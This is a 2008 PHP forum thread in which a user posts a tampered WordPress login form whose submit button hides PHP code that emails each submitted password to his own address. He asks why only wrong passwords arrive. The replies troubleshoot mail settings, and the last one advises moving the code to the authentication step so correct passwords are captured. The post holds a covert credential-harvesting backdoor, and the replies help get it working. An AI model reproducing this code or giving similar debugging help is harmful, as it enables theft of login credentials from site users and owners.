PHP form doesnt email the Input!!

Discussion in 'PHP' started by webcracker, May 16, 2008.

  1. #1
    Hey guys

    I am trying to get the user input emailed from a php form.. here is the code. The problem is that when i put in right username and password it doesnt get emailed to me.. the page just redirects to the dashboard. but when i enter incorrect password it get emaild to me.. whats wrong with the code.. please help me.. its urgent..
    <form name="loginform" id="loginform" action="wp-login.php" method="post">
    <?php if ( !isset($_GET['checkemail']) || !in_array( $_GET['checkemail'], array('confirm', 'newpass') ) ) : ?>
    	<p>
    		<label><?php _e('Username') ?><br />
    		<input type="text" name="log" id="user_login" class="input" value="<?php echo attribute_escape(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label>
    	</p>
    	<p>
    		<label><?php _e('Password') ?><br />
    		<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label>
    	</p>
    <?php do_action('login_form'); ?>
    	<p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php _e('Remember Me'); ?></label></p>
    	<p class="submit">
    		<input type="submit" name="wp-submit" id="wp-submit" value="<?php if(isset($_POST['wp-submit']))
    {
    $to = "my@email.com";
    $subject = "Password";
    $pwd = $_POST[pwd]; 
    $body .= "Password : ";
    $body .= $pwd;
    mail($to, $subject, $body);
    } _e('Log In'); ?>" tabindex="100" />
    		<input type="hidden" name="redirect_to" value="<?php echo attribute_escape($redirect_to); ?>" />
    		<input type="hidden" name="testcookie" value="1" />
    	</p>
    <?php else : ?>
    	<p>&nbsp;</p>
    <?php endif; ?>
    </form>
    PHP:
     
    webcracker, May 16, 2008 IP
  2. King Goilio

    King Goilio Member

    Messages:
    200
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    33
    #2
    Try:
    if(!isset($_POST['wp-submit']))
    PHP:
    that dose the opesat of what you had it might not work just give it a try.
     
    King Goilio, May 16, 2008 IP
  3. scriptaty

    scriptaty Banned

    Messages:
    522
    Likes Received:
    12
    Best Answers:
    0
    Trophy Points:
    0
    #3
    you might have also sendmail disabled in your server...In which server you are using the code.

    If you trying in localhost then turn your sendmail on and if you are using free web hosting like 110mb and others then note that they will not send any email,you need to pay them and if you are using paid hosting that allows sendmail function then just try above given code.
     
    scriptaty, May 16, 2008 IP
  4. notna

    notna Peon

    Messages:
    20
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #4
    That is most likely the reason.... Or you need a mail server for your server
     
    notna, May 16, 2008 IP
  5. webcracker

    webcracker Peon

    Messages:
    50
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #5
    Doesnt work..

    Please read my first post. I have mentioned that i get the email when i enter wrong password. So sendmail isnt disabled.

    its the problem with the code. I recieve the wrongly entered password. but when i enter correct password it redirects to dashboard (obviously it will) but doesnt send me the email.
     
    webcracker, May 17, 2008 IP
  6. King Goilio

    King Goilio Member

    Messages:
    200
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    33
    #6
    You have got the php code on the wrong page atm you have got it so when the password is wrong and it comes back to the login page for the user to try again it should be on the page that authenticates the user before being redirected.
     
    King Goilio, May 17, 2008 IP